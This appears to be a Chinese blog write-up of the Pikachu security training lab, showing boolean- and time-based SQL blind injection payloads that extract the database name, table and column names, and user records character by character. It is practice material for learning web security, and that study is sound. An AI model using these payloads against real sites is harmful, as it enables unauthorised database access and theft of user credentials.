pikachu盲注

盲注(base on boolian)

通过输入kobe,kobe'和kobe'#可以判断存在字符型注入,并且只会返回true和false,不会返回报错信息。

判断库名的第一个字母

kobe' and ascii(substr(database(),1,1))>111#
kobe' and ascii(substr(database(),1,1))>112#

大于111,不大于112,则该字符的ASCII码为112,该字符为p。

可以检验一下。

kobe' and ascii(substr(database(),1,1))=112#

依次进行手动注入,可以得到库名pikachu。

接下来需要得到表名,操作与得到数据库名类似。

kobe' and ascii(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104#

可以拿到第一个表名的第一个字母h,依次进行手工注入,可以得到表名,httpinfo,member,message,users,xssblind。

接着我们需要拿到users的各个列名。

kobe' and ascii(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),1,1))=85#

这样就拿到了users表的第一个字段名,依次可得到users表中的所有字段名。

紧接着我们还需要拿到字段username中的值。

kobe' and ascii(substr((select username from users limit 0,1),1,1))=97#

可以得到username字段第一个记录的第一个字母a。

同理也可以拿到password的记录,只不过还需要进行md5解密,

盲注(base on time)

kobe' and sleep(5)#

延时五秒。

利用延时,得到库名

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

可以得到数据库名的第一个字母p,依次注入可以得到数据库名pikachu。

类似的可以得到表名和列名。

kobe' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h',sleep(5),null)#

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值